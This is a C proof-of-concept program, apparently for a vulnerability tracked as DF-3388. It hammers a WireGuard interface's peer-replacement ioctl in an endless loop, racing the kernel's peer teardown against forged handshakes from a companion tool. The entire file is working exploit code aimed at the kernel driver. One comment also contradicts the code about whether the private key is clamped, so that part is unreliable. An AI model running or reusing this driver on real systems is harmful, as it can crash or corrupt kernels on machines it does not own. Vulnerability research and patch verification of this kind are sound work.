DF-3388 / wgchurn.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 | /* * DF-3388 PoC - wg peer churn driver. * * Repeatedly issues SIOCSWG on wg0 with WG_INTERFACE_REPLACE_PEERS, * which makes the kernel run wg_peer_destroy_all() -> wg_peer_destroy() * for every configured peer and immediately re-add them. Each destroy * runs noise_remote_disable() ... noise_remote_free() (handshake_clear, * keypairs_clear, put) while the forged handshakes from wgforge(8) * are being consumed concurrently by the wg handshake taskqueue. * * Run as root. */ #include <sys/types.h> #include <sys/endian.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <net/if.h> #include <netinet/in.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <unistd.h> #include <time.h> #include <crypto/curve25519/curve25519.h> /* minimal copies of sys/net/wg/if_wg.h definitions */ #define WG_KEY_SIZE 32 #define SIOCSWG _IOWR('i', 210, struct wg_data_io) struct wg_aip_io { sa_family_t a_af; int a_cidr; union { struct in_addr addr_ipv4; struct in6_addr addr_ipv6; } a_addr; }; struct wg_peer_io { int p_flags; uint8_t p_public[WG_KEY_SIZE]; uint8_t p_psk[WG_KEY_SIZE]; uint16_t p_pka; union { struct sockaddr sa_sa; struct sockaddr_in sa_sin; struct sockaddr_in6 sa_sin6; } p_endpoint; uint64_t p_txbytes; uint64_t p_rxbytes; struct timespec p_last_handshake; uint64_t p_id; char p_description[64]; size_t p_aips_count; struct wg_aip_io p_aips[]; }; #define WG_PEER_HAS_PUBLIC (1 << 0) #define WG_PEER_REPLACE_AIPS (1 << 4) struct wg_interface_io { int i_flags; in_port_t i_port; uint32_t i_cookie; uint8_t i_public[WG_KEY_SIZE]; uint8_t i_private[WG_KEY_SIZE]; size_t i_peers_count; struct wg_peer_io i_peers[]; }; #define WG_INTERFACE_HAS_PUBLIC (1 << 0) #define WG_INTERFACE_HAS_PRIVATE (1 << 1) #define WG_INTERFACE_HAS_PORT (1 << 2) #define WG_INTERFACE_REPLACE_PEERS (1 << 4) struct wg_data_io { char wgd_name[IFNAMSIZ]; size_t wgd_size; struct wg_interface_io *wgd_interface; }; #define NPEERS 32 static uint8_t priv0[WG_KEY_SIZE]; static uint8_t pubs[NPEERS][WG_KEY_SIZE]; static int wg_set(int s, struct wg_interface_io *iface, size_t size) { struct wg_data_io data; memset(&data, 0, sizeof(data)); strlcpy(data.wgd_name, "wg0", sizeof(data.wgd_name)); data.wgd_size = size; data.wgd_interface = iface; return ioctl(s, SIOCSWG, &data); } int main(int argc, char **argv) { const char *keyfile = argc > 1 ? argv[1] : "/tmp/wgkeys.bin"; uint64_t cycles = 0; FILE *f; int s, i, first = 1; time_t last; f = fopen(keyfile, "rb"); if (f == NULL) { perror("keyfile"); return 1; } /* skip responder public */ fseek(f, 32, SEEK_CUR); if (fread(priv0, 32, 1, f) != 1) { fprintf(stderr, "short keyfile (priv0)\n"); return 1; } for (i = 0; i < NPEERS; i++) { uint8_t raw[32], base[32] = { 9 }; if (fread(raw, 32, 1, f) != 1) { fprintf(stderr, "short keyfile (key %d)\n", i); return 1; } /* derive the peer's public key from its private key */ raw[0] &= 248; raw[31] &= 127; raw[31] |= 64; curve25519(pubs[i], raw, base); } fclose(f); /* priv0 must be clamped the same way the kernel clamps it */ priv0[0] &= 248; priv0[31] &= 127; priv0[31] |= 64; s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { perror("socket"); return 1; } /* * ioctl buffer: interface header + NPEERS peers, each with 1 aip. * Use REPLACE_PEERS every cycle: kernel destroys all peers then * re-adds them (see wg_ioctl_set, sys/net/wg/if_wg.c). */ { size_t bsize = sizeof(struct wg_interface_io) + NPEERS * (sizeof(struct wg_peer_io) + sizeof(struct wg_aip_io)); uint8_t *buf = malloc(bsize); struct wg_interface_io *iface = (struct wg_interface_io *)buf; last = time(NULL); for (;;) { size_t off; struct wg_peer_io *p; memset(buf, 0, bsize); iface->i_flags = WG_INTERFACE_REPLACE_PEERS; if (first) { /* private key must be the RAW (unclamped) key * as generated; kernel clamps it itself. * We stored the raw key in the keyfile for * priv0; regenerate raw by un-clamping is * not possible, so the keyfile stores raw. */ iface->i_flags |= WG_INTERFACE_HAS_PRIVATE | WG_INTERFACE_HAS_PORT; iface->i_port = 51820; /* host order; kernel htons()s it */ memcpy(iface->i_private, priv0, WG_KEY_SIZE); first = 0; } iface->i_peers_count = NPEERS; off = sizeof(struct wg_interface_io); for (i = 0; i < NPEERS; i++) { p = (struct wg_peer_io *)(buf + off); p->p_flags = WG_PEER_HAS_PUBLIC | WG_PEER_REPLACE_AIPS; memcpy(p->p_public, pubs[i], WG_KEY_SIZE); p->p_aips_count = 1; off += sizeof(struct wg_peer_io); { struct wg_aip_io *a = (struct wg_aip_io *)(buf + off); a->a_af = AF_INET; a->a_cidr = 32; a->a_addr.addr_ipv4.s_addr = htonl(0x0a000000u + (i << 8) + 1); off += sizeof(struct wg_aip_io); } } if (wg_set(s, iface, bsize) != 0) { perror("SIOCSWG"); return 1; } cycles++; if (time(NULL) != last) { last = time(NULL); printf("cycles=%llu\n", (unsigned long long)cycles); fflush(stdout); } } } } |